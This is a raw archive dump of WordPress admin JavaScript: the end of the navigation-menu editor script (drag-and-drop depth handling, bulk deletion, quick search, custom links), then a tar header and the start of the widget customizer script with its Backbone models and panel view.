					tempHolder = ui.placeholder.next( '.menu-item' );
					tempHolder.css( 'margin-top', helperHeight + 'px' ); // Set the margin to absorb the placeholder.
					ui.placeholder.detach();         // Detach or jQuery UI will think the placeholder is a menu item.
					$(this).sortable( 'refresh' );   // The children aren't sortable. We should let jQuery UI know.
					ui.item.after( ui.placeholder ); // Reattach the placeholder.
					tempHolder.css('margin-top', 0); // Reset the margin.

					// Now that the element is complete, we can update...
					updateSharedVars(ui);
				},
				stop: function(e, ui) {
					var children, subMenuTitle,
						depthChange = currentDepth - originalDepth;

					// Return child elements to the list.
					children = transport.children().insertAfter(ui.item);

					// Add "sub menu" description.
					subMenuTitle = ui.item.find( '.item-title .is-submenu' );
					if ( 0 < currentDepth )
						subMenuTitle.show();
					else
						subMenuTitle.hide();

					// Update depth classes.
					if ( 0 !== depthChange ) {
						ui.item.updateDepthClass( currentDepth );
						children.shiftDepthClass( depthChange );
						updateMenuMaxDepth( depthChange );
					}
					// Register a change.
					api.registerChange();
					// Update the item data.
					ui.item.updateParentMenuItemDBId();

					// Address sortable's incorrectly-calculated top in Opera.
					ui.item[0].style.top = 0;

					// Handle drop placement for rtl orientation.
					if ( api.isRTL ) {
						ui.item[0].style.left = 'auto';
						ui.item[0].style.right = 0;
					}

					api.refreshKeyboardAccessibility();
					api.refreshAdvancedAccessibility();
				},
				change: function(e, ui) {
					// Make sure the placeholder is inside the menu.
					// Otherwise fix it, or we're in trouble.
					if( ! ui.placeholder.parent().hasClass('menu') )
						(prev.length) ? prev.after( ui.placeholder ) : api.menuList.prepend( ui.placeholder );

					updateSharedVars(ui);
				},
				sort: function(e, ui) {
					var offset = ui.helper.offset(),
						edge = api.isRTL ? offset.left + ui.helper.width() : offset.left,
						depth = api.negateIfRTL * api.pxToDepth( edge - menuEdge );

					/*
					 * Check and correct if depth is not within range.
					 * Also, if the dragged element is dragged upwards over an item,
					 * shift the placeholder to a child position.
					 */
					if ( depth > maxDepth || offset.top < ( prevBottom - api.options.targetTolerance ) ) {
						depth = maxDepth;
					} else if ( depth < minDepth ) {
						depth = minDepth;
					}

					if( depth != currentDepth )
						updateCurrentDepth(ui, depth);

					// If we overlap the next element, manually shift downwards.
					if( nextThreshold && offset.top + helperHeight > nextThreshold ) {
						next.after( ui.placeholder );
						updateSharedVars( ui );
						$( this ).sortable( 'refreshPositions' );
					}
				}
			});

			function updateSharedVars(ui) {
				var depth;

				prev = ui.placeholder.prev( '.menu-item' );
				next = ui.placeholder.next( '.menu-item' );

				// Make sure we don't select the moving item.
				if( prev[0] == ui.item[0] ) prev = prev.prev( '.menu-item' );
				if( next[0] == ui.item[0] ) next = next.next( '.menu-item' );

				prevBottom = (prev.length) ? prev.offset().top + prev.height() : 0;
				nextThreshold = (next.length) ? next.offset().top + next.height() / 3 : 0;
				minDepth = (next.length) ? next.menuItemDepth() : 0;

				if( prev.length )
					maxDepth = ( (depth = prev.menuItemDepth() + 1) > api.options.globalMaxDepth ) ? api.options.globalMaxDepth : depth;
				else
					maxDepth = 0;
			}

			function updateCurrentDepth(ui, depth) {
				ui.placeholder.updateDepthClass( depth, currentDepth );
				currentDepth = depth;
			}

			function initialMenuMaxDepth() {
				if( ! body[0].className ) return 0;
				var match = body[0].className.match(/menu-max-depth-(\d+)/);
				return match && match[1] ? parseInt( match[1], 10 ) : 0;
			}

			function updateMenuMaxDepth( depthChange ) {
				var depth, newDepth = menuMaxDepth;
				if ( depthChange === 0 ) {
					return;
				} else if ( depthChange > 0 ) {
					depth = maxChildDepth + depthChange;
					if( depth > menuMaxDepth )
						newDepth = depth;
				} else if ( depthChange < 0 && maxChildDepth == menuMaxDepth ) {
					while( ! $('.menu-item-depth-' + newDepth, api.menuList).length && newDepth > 0 )
						newDepth--;
				}
				// Update the depth class.
				body.removeClass( 'menu-max-depth-' + menuMaxDepth ).addClass( 'menu-max-depth-' + newDepth );
				menuMaxDepth = newDepth;
			}
		},

		initManageLocations : function () {
			$('#menu-locations-wrap form').on( 'submit', function(){
				window.onbeforeunload = null;
			});
			$('.menu-location-menus select').on('change', function () {
				var editLink = $(this).closest('tr').find('.locations-edit-menu-link');
				if ($(this).find('option:selected').data('orig'))
					editLink.show();
				else
					editLink.hide();
			});
		},

		attachMenuEditListeners : function() {
			var that = this;
			$('#update-nav-menu').on('click', function(e) {
				if ( e.target && e.target.className ) {
					if ( -1 != e.target.className.indexOf('item-edit') ) {
						return that.eventOnClickEditLink(e.target);
					} else if ( -1 != e.target.className.indexOf('menu-save') ) {
						return that.eventOnClickMenuSave(e.target);
					} else if ( -1 != e.target.className.indexOf('menu-delete') ) {
						return that.eventOnClickMenuDelete(e.target);
					} else if ( -1 != e.target.className.indexOf('item-delete') ) {
						return that.eventOnClickMenuItemDelete(e.target);
					} else if ( -1 != e.target.className.indexOf('item-cancel') ) {
						return that.eventOnClickCancelLink(e.target);
					}
				}
			});

			$( '#menu-name' ).on( 'input', _.debounce( function () {
				var menuName = $( document.getElementById( 'menu-name' ) ),
					menuNameVal = menuName.val();

				if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) {
					// Add warning for invalid menu name.
					menuName.parent().addClass( 'form-invalid' );
				} else {
					// Remove warning for valid menu name.
					menuName.parent().removeClass( 'form-invalid' );
				}
			}, 500 ) );

			$('#add-custom-links input[type="text"]').on( 'keypress', function(e){
				$('#customlinkdiv').removeClass('form-invalid');

				if ( e.keyCode === 13 ) {
					e.preventDefault();
					$( '#submit-customlinkdiv' ).trigger( 'click' );
				}
			});
		},

		/**
		 * Handle toggling bulk selection checkboxes for menu items.
		 *
		 * @since 5.8.0
		 */ 
		attachBulkSelectButtonListeners : function() {
			var that = this;

			$( '.bulk-select-switcher' ).on( 'change', function() {
				if ( this.checked ) {
					$( '.bulk-select-switcher' ).prop( 'checked', true );
					that.enableBulkSelection();
				} else {
					$( '.bulk-select-switcher' ).prop( 'checked', false );
					that.disableBulkSelection();
				}
			});
		},

		/**
		 * Enable bulk selection checkboxes for menu items.
		 *
		 * @since 5.8.0
		 */ 
		enableBulkSelection : function() {
			var checkbox = $( '#menu-to-edit .menu-item-checkbox' );

			$( '#menu-to-edit' ).addClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-top' ).addClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-bottom' ).addClass( 'bulk-selection' );

			$.each( checkbox, function() {
				$(this).prop( 'disabled', false );
			});
		},

		/**
		 * Disable bulk selection checkboxes for menu items.
		 *
		 * @since 5.8.0
		 */ 
		disableBulkSelection : function() {
			var checkbox = $( '#menu-to-edit .menu-item-checkbox' );

			$( '#menu-to-edit' ).removeClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-top' ).removeClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-bottom' ).removeClass( 'bulk-selection' );

			if ( $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) {
				$( '.menu-items-delete' ).removeAttr( 'aria-describedby' );
			}

			$.each( checkbox, function() {
				$(this).prop( 'disabled', true ).prop( 'checked', false );
			});

			$( '.menu-items-delete' ).addClass( 'disabled' );
			$( '#pending-menu-items-to-delete ul' ).empty();
		},

		/**
		 * Listen for state changes on bulk action checkboxes.
		 *
		 * @since 5.8.0
		 */ 
		attachMenuCheckBoxListeners : function() {
			var that = this;

			$( '#menu-to-edit' ).on( 'change', '.menu-item-checkbox', function() {
				that.setRemoveSelectedButtonStatus();
			});
		},

		/**
		 * Create delete button to remove menu items from collection.
		 *
		 * @since 5.8.0
		 */ 
		attachMenuItemDeleteButton : function() {
			var that = this;

			$( document ).on( 'click', '.menu-items-delete', function( e ) {
				var itemsPendingDeletion, itemsPendingDeletionList, deletionSpeech;

				e.preventDefault();

				if ( ! $(this).hasClass( 'disabled' ) ) {
					$.each( $( '.menu-item-checkbox:checked' ), function( index, element ) {
						$( element ).parents( 'li' ).find( 'a.item-delete' ).trigger( 'click' );
					});

					$( '.menu-items-delete' ).addClass( 'disabled' );
					$( '.bulk-select-switcher' ).prop( 'checked', false );

					itemsPendingDeletion     = '';
					itemsPendingDeletionList = $( '#pending-menu-items-to-delete ul li' );

					$.each( itemsPendingDeletionList, function( index, element ) {
						var itemName = $( element ).find( '.pending-menu-item-name' ).text();
						var itemSpeech = menus.menuItemDeletion.replace( '%s', itemName );

						itemsPendingDeletion += itemSpeech;
						if ( ( index + 1 ) < itemsPendingDeletionList.length ) {
							itemsPendingDeletion += ', ';
						}
					});

					deletionSpeech = menus.itemsDeleted.replace( '%s', itemsPendingDeletion );
					wp.a11y.speak( deletionSpeech, 'polite' );
					that.disableBulkSelection();
				}
			});
		},

		/**
		 * List menu items awaiting deletion.
		 *
		 * @since 5.8.0
		 */ 
		attachPendingMenuItemsListForDeletion : function() {
			$( '#post-body-content' ).on( 'change', '.menu-item-checkbox', function() {
				var menuItemName, menuItemType, menuItemID, listedMenuItem;

				if ( ! $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) {
					$( '.menu-items-delete' ).attr( 'aria-describedby', 'pending-menu-items-to-delete' );
				}

				menuItemName = $(this).next().text();
				menuItemType = $(this).parent().next( '.item-controls' ).find( '.item-type' ).text();
				menuItemID   = $(this).attr( 'data-menu-item-id' );

				listedMenuItem = $( '#pending-menu-items-to-delete ul' ).find( '[data-menu-item-id=' + menuItemID + ']' );
				if ( listedMenuItem.length > 0 ) {
					listedMenuItem.remove();
				}

				if ( this.checked === true ) {
					$( '#pending-menu-items-to-delete ul' ).append(
						'<li data-menu-item-id="' + menuItemID + '">' +
							'<span class="pending-menu-item-name">' + menuItemName + '</span> ' +
							'<span class="pending-menu-item-type">(' + menuItemType + ')</span>' +
							'<span class="separator"></span>' +
						'</li>'
					);
				}

				$( '#pending-menu-items-to-delete li .separator' ).html( ', ' );
				$( '#pending-menu-items-to-delete li .separator' ).last().html( '.' );
			});
		},

		/**
		 * Set status of bulk delete checkbox.
		 *
		 * @since 5.8.0
		 */ 
		setBulkDeleteCheckboxStatus : function() {
			var that = this;
			var checkbox = $( '#menu-to-edit .menu-item-checkbox' );

			$.each( checkbox, function() {
				if ( $(this).prop( 'disabled' ) ) {
					$(this).prop( 'disabled', false );
				} else {
					$(this).prop( 'disabled', true );
				}

				if ( $(this).is( ':checked' ) ) {
					$(this).prop( 'checked', false );
				}
			});

			that.setRemoveSelectedButtonStatus();
		},

		/**
		 * Set status of menu items removal button.
		 *
		 * @since 5.8.0
		 */ 
		setRemoveSelectedButtonStatus : function() {
			var button = $( '.menu-items-delete' );

			if ( $( '.menu-item-checkbox:checked' ).length > 0 ) {
				button.removeClass( 'disabled' );
			} else {
				button.addClass( 'disabled' );
			}
		},

		attachMenuSaveSubmitListeners : function() {
			/*
			 * When a navigation menu is saved, store a JSON representation of all form data
			 * in a single input to avoid PHP `max_input_vars` limitations. See #14134.
			 */
			$( '#update-nav-menu' ).on( 'submit', function() {
				var navMenuData = $( '#update-nav-menu' ).serializeArray();
				$( '[name="nav-menu-data"]' ).val( JSON.stringify( navMenuData ) );
			});
		},

		attachThemeLocationsListeners : function() {
			var loc = $('#nav-menu-theme-locations'), params = {};
			params.action = 'menu-locations-save';
			params['menu-settings-column-nonce'] = $('#menu-settings-column-nonce').val();
			loc.find('input[type="submit"]').on( 'click', function() {
				loc.find('select').each(function() {
					params[this.name] = $(this).val();
				});
				loc.find( '.spinner' ).addClass( 'is-active' );
				$.post( ajaxurl, params, function() {
					loc.find( '.spinner' ).removeClass( 'is-active' );
				});
				return false;
			});
		},

		attachQuickSearchListeners : function() {
			var searchTimer;

			// Prevent form submission.
			$( '#nav-menu-meta' ).on( 'submit', function( event ) {
				event.preventDefault();
			});

			$( '#nav-menu-meta' ).on( 'input', '.quick-search', function() {
				var $this = $( this );

				$this.attr( 'autocomplete', 'off' );

				if ( searchTimer ) {
					clearTimeout( searchTimer );
				}

				searchTimer = setTimeout( function() {
					api.updateQuickSearchResults( $this );
				}, 500 );
			}).on( 'blur', '.quick-search', function() {
				api.lastSearch = '';
			});
		},

		updateQuickSearchResults : function(input) {
			var panel, params,
				minSearchLength = 2,
				q = input.val();

			/*
			 * Minimum characters for a search. Also avoid a new Ajax search when
			 * the pressed key (e.g. arrows) doesn't change the searched term.
			 */
			if ( q.length < minSearchLength || api.lastSearch == q ) {
				return;
			}

			api.lastSearch = q;

			panel = input.parents('.tabs-panel');
			params = {
				'action': 'menu-quick-search',
				'response-format': 'markup',
				'menu': $('#menu').val(),
				'menu-settings-column-nonce': $('#menu-settings-column-nonce').val(),
				'q': q,
				'type': input.attr('name')
			};

			$( '.spinner', panel ).addClass( 'is-active' );

			$.post( ajaxurl, params, function(menuMarkup) {
				api.processQuickSearchQueryResponse(menuMarkup, params, panel);
			});
		},

		addCustomLink : function( processMethod ) {
			var url = $('#custom-menu-item-url').val().toString(),
				label = $('#custom-menu-item-name').val();

			if ( '' !== url ) {
				url = url.trim();
			}

			processMethod = processMethod || api.addMenuItemToBottom;

			if ( '' === url || 'https://' == url || 'http://' == url ) {
				$('#customlinkdiv').addClass('form-invalid');
				return false;
			}

			// Show the Ajax spinner.
			$( '.customlinkdiv .spinner' ).addClass( 'is-active' );
			this.addLinkToMenu( url, label, processMethod, function() {
				// Remove the Ajax spinner.
				$( '.customlinkdiv .spinner' ).removeClass( 'is-active' );
				// Set custom link form back to defaults.
				$('#custom-menu-item-name').val('').trigger( 'blur' );
				$( '#custom-menu-item-url' ).val( '' ).attr( 'placeholder', 'https://' );
			});
		},

		addLinkToMenu : function(url, label, processMethod, callback) {
			processMethod = processMethod || api.addMenuItemToBottom;
			callback = callback || function(){};

			api.addItemToMenu({
				'-1': {
					'menu-item-type': 'custom',
					'menu-item-url': url,
					'menu-item-title': label
				}
			}, processMethod, callback);
		},

		addItemToMenu : function(menuItem, processMethod, callback) {
			var menu = $('#menu').val(),
				nonce = $('#menu-settings-column-nonce').val(),
				params;

			processMethod = processMethod || function(){};
			callback = callback || function(){};

			params = {
				'action': 'add-menu-item',
				'menu': menu,
				'menu-settings-column-nonce': nonce,
				'menu-item': menuItem
			};

			$.post( ajaxurl, params, function(menuMarkup) {
				var ins = $('#menu-instructions');

				menuMarkup = menuMarkup || '';
				menuMarkup = menuMarkup.toString().trim(); // Trim leading whitespaces.
				processMethod(menuMarkup, params);

				// Make it stand out a bit more visually, by adding a fadeIn.
				$( 'li.pending' ).hide().fadeIn('slow');
				$( '.drag-instructions' ).show();
				if( ! ins.hasClass( 'menu-instructions-inactive' ) && ins.siblings().length )
					ins.addClass( 'menu-instructions-inactive' );

				callback();
			});
		},

		/**
		 * Process the add menu item request response into menu list item. Appends to menu.
		 *
		 * @param {string} menuMarkup The text server response of menu item markup.
		 *
		 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
		 */
		addMenuItemToBottom : function( menuMarkup ) {
			var $menuMarkup = $( menuMarkup );
			$menuMarkup.hideAdvancedMenuItemFields().appendTo( api.targetList );
			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();
			wp.a11y.speak( menus.itemAdded );
			$( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
		},

		/**
		 * Process the add menu item request response into menu list item. Prepends to menu.
		 *
		 * @param {string} menuMarkup The text server response of menu item markup.
		 *
		 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
		 */
		addMenuItemToTop : function( menuMarkup ) {
			var $menuMarkup = $( menuMarkup );
			$menuMarkup.hideAdvancedMenuItemFields().prependTo( api.targetList );
			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();
			wp.a11y.speak( menus.itemAdded );
			$( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
		},

		attachUnsavedChangesListener : function() {
			$('#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select').on( 'change', function(){
				api.registerChange();
			});

			if ( 0 !== $('#menu-to-edit').length || 0 !== $('.menu-location-menus select').length ) {
				window.onbeforeunload = function(){
					if ( api.menusChanged )
						return wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
				};
			} else {
				// Make the post boxes read-only, as they can't be used yet.
				$( '#menu-settings-column' ).find( 'input,select' ).end().find( 'a' ).attr( 'href', '#' ).off( 'click' );
			}
		},

		registerChange : function() {
			api.menusChanged = true;
		},

		attachTabsPanelListeners : function() {
			$('#menu-settings-column').on('click', function(e) {
				var selectAreaMatch, selectAll, panelId, wrapper, items,
					target = $(e.target);

				if ( target.hasClass('nav-tab-link') ) {

					panelId = target.data( 'type' );

					wrapper = target.parents('.accordion-section-content').first();

					// Upon changing tabs, we want to uncheck all checkboxes.
					$( 'input', wrapper ).prop( 'checked', false );

					$('.tabs-panel-active', wrapper).removeClass('tabs-panel-active').addClass('tabs-panel-inactive');
					$('#' + panelId, wrapper).removeClass('tabs-panel-inactive').addClass('tabs-panel-active');

					$('.tabs', wrapper).removeClass('tabs');
					target.parent().addClass('tabs');

					// Select the search bar.
					$('.quick-search', wrapper).trigger( 'focus' );

					// Hide controls in the search tab if no items found.
					if ( ! wrapper.find( '.tabs-panel-active .menu-item-title' ).length ) {
						wrapper.addClass( 'has-no-menu-item' );
					} else {
						wrapper.removeClass( 'has-no-menu-item' );
					}

					e.preventDefault();
				} else if ( target.hasClass( 'select-all' ) ) {
					selectAreaMatch = target.closest( '.button-controls' ).data( 'items-type' );
					if ( selectAreaMatch ) {
						items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' );

						if ( items.length === items.filter( ':checked' ).length && ! target.is( ':checked' ) ) {
							items.prop( 'checked', false );
						} else if ( target.is( ':checked' ) ) {
							items.prop( 'checked', true );
						}
					}
				} else if ( target.hasClass( 'menu-item-checkbox' ) ) {
					selectAreaMatch = target.closest( '.tabs-panel-active' ).parent().attr( 'id' );
					if ( selectAreaMatch ) {
						items     = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' );
						selectAll = $( '.button-controls[data-items-type="' + selectAreaMatch + '"] .select-all' );

						if ( items.length === items.filter( ':checked' ).length && ! selectAll.is( ':checked' ) ) {
							selectAll.prop( 'checked', true );
						} else if ( selectAll.is( ':checked' ) ) {
							selectAll.prop( 'checked', false );
						}
					}
				} else if ( target.hasClass('submit-add-to-menu') ) {
					api.registerChange();

					if ( e.target.id && 'submit-customlinkdiv' == e.target.id )
						api.addCustomLink( api.addMenuItemToBottom );
					else if ( e.target.id && -1 != e.target.id.indexOf('submit-') )
						$('#' + e.target.id.replace(/submit-/, '')).addSelectedToMenu( api.addMenuItemToBottom );
					return false;
				}
			});

			/*
			 * Delegate the `click` event and attach it just to the pagination
			 * links thus excluding the current page `<span>`. See ticket #35577.
			 */
			$( '#nav-menu-meta' ).on( 'click', 'a.page-numbers', function() {
				var $container = $( this ).closest( '.inside' );

				$.post( ajaxurl, this.href.replace( /.*\?/, '' ).replace( /action=([^&]*)/, '' ) + '&action=menu-get-metabox',
					function( resp ) {
						var metaBoxData = JSON.parse( resp ),
							toReplace;

						if ( -1 === resp.indexOf( 'replace-id' ) ) {
							return;
						}

						// Get the post type menu meta box to update.
						toReplace = document.getElementById( metaBoxData['replace-id'] );

						if ( ! metaBoxData.markup || ! toReplace ) {
							return;
						}

						// Update the post type menu meta box with new content from the response.
						$container.html( metaBoxData.markup );
					}
				);

				return false;
			});
		},

		eventOnClickEditLink : function(clickedEl) {
			var settings, item,
			matchedSection = /#(.*)$/.exec(clickedEl.href);

			if ( matchedSection && matchedSection[1] ) {
				settings = $('#'+matchedSection[1]);
				item = settings.parent();
				if( 0 !== item.length ) {
					if( item.hasClass('menu-item-edit-inactive') ) {
						if( ! settings.data('menu-item-data') ) {
							settings.data( 'menu-item-data', settings.getItemData() );
						}
						settings.slideDown('fast');
						item.removeClass('menu-item-edit-inactive')
							.addClass('menu-item-edit-active');
					} else {
						settings.slideUp('fast');
						item.removeClass('menu-item-edit-active')
							.addClass('menu-item-edit-inactive');
					}
					return false;
				}
			}
		},

		eventOnClickCancelLink : function(clickedEl) {
			var settings = $( clickedEl ).closest( '.menu-item-settings' ),
				thisMenuItem = $( clickedEl ).closest( '.menu-item' );

			thisMenuItem.removeClass( 'menu-item-edit-active' ).addClass( 'menu-item-edit-inactive' );
			settings.setItemData( settings.data( 'menu-item-data' ) ).hide();
			// Restore the title of the currently active/expanded menu item.
			thisMenuItem.find( '.menu-item-title' ).text( settings.data( 'menu-item-data' )['menu-item-title'] );

			return false;
		},

		eventOnClickMenuSave : function() {
			var locs = '',
			menuName = $('#menu-name'),
			menuNameVal = menuName.val();

			// Cancel and warn if invalid menu name.
			if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) {
				menuName.parent().addClass( 'form-invalid' );
				return false;
			}
			// Copy menu theme locations.
			$('#nav-menu-theme-locations select').each(function() {
				locs += '<input type="hidden" name="' + this.name + '" value="' + $(this).val() + '" />';
			});
			$('#update-nav-menu').append( locs );
			// Update menu item position data.
			api.menuList.find('.menu-item-data-position').val( function(index) { return index + 1; } );
			window.onbeforeunload = null;

			return true;
		},

		eventOnClickMenuDelete : function() {
			// Delete warning AYS.
			if ( window.confirm( wp.i18n.__( 'You are about to permanently delete this menu.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) {
				window.onbeforeunload = null;
				return true;
			}
			return false;
		},

		eventOnClickMenuItemDelete : function(clickedEl) {
			var itemID = parseInt(clickedEl.id.replace('delete-', ''), 10);

			api.removeMenuItem( $('#menu-item-' + itemID) );
			api.registerChange();
			return false;
		},

		/**
		 * Process the quick search response into a search result
		 *
		 * @param string resp The server response to the query.
		 * @param object req The request arguments.
		 * @param jQuery panel The tabs panel we're searching in.
		 */
		processQuickSearchQueryResponse : function(resp, req, panel) {
			var matched, newID,
			takenIDs = {},
			form = document.getElementById('nav-menu-meta'),
			pattern = /menu-item[(\[^]\]*/,
			$items = $('<div>').html(resp).find('li'),
			wrapper = panel.closest( '.accordion-section-content' ),
			selectAll = wrapper.find( '.button-controls .select-all' ),
			$item;

			if( ! $items.length ) {
				$('.categorychecklist', panel).html( '<li><p>' + wp.i18n.__( 'No results found.' ) + '</p></li>' );
				$( '.spinner', panel ).removeClass( 'is-active' );
				wrapper.addClass( 'has-no-menu-item' );
				return;
			}

			$items.each(function(){
				$item = $(this);

				// Make a unique DB ID number.
				matched = pattern.exec($item.html());

				if ( matched && matched[1] ) {
					newID = matched[1];
					while( form.elements['menu-item[' + newID + '][menu-item-type]'] || takenIDs[ newID ] ) {
						newID--;
					}

					takenIDs[newID] = true;
					if ( newID != matched[1] ) {
						$item.html( $item.html().replace(new RegExp(
							'menu-item\\[' + matched[1] + '\\]', 'g'),
							'menu-item[' + newID + ']'
						) );
					}
				}
			});

			$('.categorychecklist', panel).html( $items );
			$( '.spinner', panel ).removeClass( 'is-active' );
			wrapper.removeClass( 'has-no-menu-item' );

			if ( selectAll.is( ':checked' ) ) {
				selectAll.prop( 'checked', false );
			}
		},

		/**
		 * Remove a menu item.
		 *
		 * @param {Object} el The element to be removed as a jQuery object.
		 *
		 * @fires document#menu-removing-item Passes the element to be removed.
		 */
		removeMenuItem : function(el) {
			var children = el.childMenuItems();

			$( document ).trigger( 'menu-removing-item', [ el ] );
			el.addClass('deleting').animate({
					opacity : 0,
					height: 0
				}, 350, function() {
					var ins = $('#menu-instructions');
					el.remove();
					children.shiftDepthClass( -1 ).updateParentMenuItemDBId();
					if ( 0 === $( '#menu-to-edit li' ).length ) {
						$( '.drag-instructions' ).hide();
						ins.removeClass( 'menu-instructions-inactive' );
					}
					api.refreshAdvancedAccessibility();
					wp.a11y.speak( menus.itemRemoved );
				});
		},

		depthToPx : function(depth) {
			return depth * api.options.menuItemDepthPerLevel;
		},

		pxToDepth : function(px) {
			return Math.floor(px / api.options.menuItemDepthPerLevel);
		}

	};

	$( function() {

		wpNavMenu.init();

		// Prevent focused element from being hidden by the sticky footer.
		$( '.menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select' ).on('focus', function() {
			if ( window.innerWidth >= 783 ) {
				var navMenuHeight = $( '#nav-menu-footer' ).height() + 20;
				var bottomOffset = $(this).offset().top - ( $(window).scrollTop() + $(window).height() - $(this).height() );

				if ( bottomOffset > 0 ) {
					bottomOffset = 0;
				}
				bottomOffset = bottomOffset * -1;

				if( bottomOffset < navMenuHeight ) {
					var scrollTop = $(document).scrollTop();
					$(document).scrollTop( scrollTop + ( navMenuHeight - bottomOffset ) );
				}
			}
		});
	});

	// Show bulk action.
	$( document ).on( 'menu-item-added', function() {
		if ( ! $( '.bulk-actions' ).is( ':visible' ) ) {
			$( '.bulk-actions' ).show();
		}
	} );

	// Hide bulk action.
	$( document ).on( 'menu-removing-item', function( e, el ) {
		var menuElement = $( el ).parents( '#menu-to-edit' );
		if ( menuElement.find( 'li' ).length === 1 && $( '.bulk-actions' ).is( ':visible' ) ) {
			$( '.bulk-actions' ).hide();
		}
	} );

})(jQuery);
customize-widgets.js.tar000064400000220000150276633100011352 0ustar00home/natitnen/crestassured.com/wp-admin/js/customize-widgets.js000064400000214030150262466700020764 0ustar00/**
 * @output wp-admin/js/customize-widgets.js
 */

/* global _wpCustomizeWidgetsSettings */
(function( wp, $ ){

	if ( ! wp || ! wp.customize ) { return; }

	// Set up our namespace...
	var api = wp.customize,
		l10n;

	/**
	 * @namespace wp.customize.Widgets
	 */
	api.Widgets = api.Widgets || {};
	api.Widgets.savedWidgetIds = {};

	// Link settings.
	api.Widgets.data = _wpCustomizeWidgetsSettings || {};
	l10n = api.Widgets.data.l10n;

	/**
	 * wp.customize.Widgets.WidgetModel
	 *
	 * A single widget model.
	 *
	 * @class    wp.customize.Widgets.WidgetModel
	 * @augments Backbone.Model
	 */
	api.Widgets.WidgetModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.WidgetModel.prototype */{
		id: null,
		temp_id: null,
		classname: null,
		control_tpl: null,
		description: null,
		is_disabled: null,
		is_multi: null,
		multi_number: null,
		name: null,
		id_base: null,
		transport: null,
		params: [],
		width: null,
		height: null,
		search_matched: true
	});

	/**
	 * wp.customize.Widgets.WidgetCollection
	 *
	 * Collection for widget models.
	 *
	 * @class    wp.customize.Widgets.WidgetCollection
	 * @augments Backbone.Collection
	 */
	api.Widgets.WidgetCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.WidgetCollection.prototype */{
		model: api.Widgets.WidgetModel,

		// Controls searching on the current widget collection
		// and triggers an update event.
		doSearch: function( value ) {

			// Don't do anything if we've already done this search.
			// Useful because the search handler fires multiple times per keystroke.
			if ( this.terms === value ) {
				return;
			}

			// Updates terms with the value passed.
			this.terms = value;

			// If we have terms, run a search...
			if ( this.terms.length > 0 ) {
				this.search( this.terms );
			}

			// If search is blank, set all the widgets as they matched the search to reset the views.
			if ( this.terms === '' ) {
				this.each( function ( widget ) {
					widget.set( 'search_matched', true );
				} );
			}
		},

		// Performs a search within the collection.
		// @uses RegExp
		search: function( term ) {
			var match, haystack;

			// Escape the term string for RegExp meta characters.
			term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );

			// Consider spaces as word delimiters and match the whole string
			// so matching terms can be combined.
			term = term.replace( / /g, ')(?=.*' );
			match = new RegExp( '^(?=.*' + term + ').+', 'i' );

			this.each( function ( data ) {
				haystack = [ data.get( 'name' ), data.get( 'description' ) ].join( ' ' );
				data.set( 'search_matched', match.test( haystack ) );
			} );
		}
	});
	api.Widgets.availableWidgets = new api.Widgets.WidgetCollection( api.Widgets.data.availableWidgets );

	/**
	 * wp.customize.Widgets.SidebarModel
	 *
	 * A single sidebar model.
	 *
	 * @class    wp.customize.Widgets.SidebarModel
	 * @augments Backbone.Model
	 */
	api.Widgets.SidebarModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.SidebarModel.prototype */{
		after_title: null,
		after_widget: null,
		before_title: null,
		before_widget: null,
		'class': null,
		description: null,
		id: null,
		name: null,
		is_rendered: false
	});

	/**
	 * wp.customize.Widgets.SidebarCollection
	 *
	 * Collection for sidebar models.
	 *
	 * @class    wp.customize.Widgets.SidebarCollection
	 * @augments Backbone.Collection
	 */
	api.Widgets.SidebarCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.SidebarCollection.prototype */{
		model: api.Widgets.SidebarModel
	});
	api.Widgets.registeredSidebars = new api.Widgets.SidebarCollection( api.Widgets.data.registeredSidebars );

	api.Widgets.AvailableWidgetsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Widgets.AvailableWidgetsPanelView.prototype */{

		el: '#available-widgets',

		events: {
			'input #widgets-search': 'search',
			'focus .widget-tpl' : 'focus',
			'click .widget-tpl' : '_submit',
			'keypress .widget-tpl' : '_submit',
			'keydown' : 'keyboardAccessible'
		},

		// Cache current selected widget.
		selected: null,

		// Cache sidebar control which has opened panel.
		currentSidebarControl: null,
		$search: null,
		$clearResults: null,
		searchMatchesCount: null,

		/**
		 * View class for the available widgets panel.
		 *
		 * @constructs wp.customize.Widgets.AvailableWidgetsPanelView
		 * @augments   wp.Backbone.View
		 */
		initialize: function() {
			var self = this;

			this.$search = $( '#widgets-search' );

			this.$clearResults = this.$el.find( '.clear-results' );

			_.bindAll( this, 'close' );

			this.listenTo( this.collection, 'change', this.updateList );

			this.updateList();

			// Set the initial search count to the number of available widgets.
			this.searchMatchesCount = this.collection.length;

			/*
			 * If the available widgets panel is open and the customize controls
			 * are interacted with (i.e. available widgets panel is blurred) then
			 * close the available widgets panel. Also close on back button click.
			 */
			$( '#customize-controls, #available-widgets .customize-section-title' ).on( 'click keydown', function( e ) {
				var isAddNewBtn = $( e.target ).is( '.add-new-widget, .add-new-widget *' );
				if ( $( 'body' ).hasClass( 'adding-widget' ) && ! isAddNewBtn ) {
					self.close();
				}
			} );

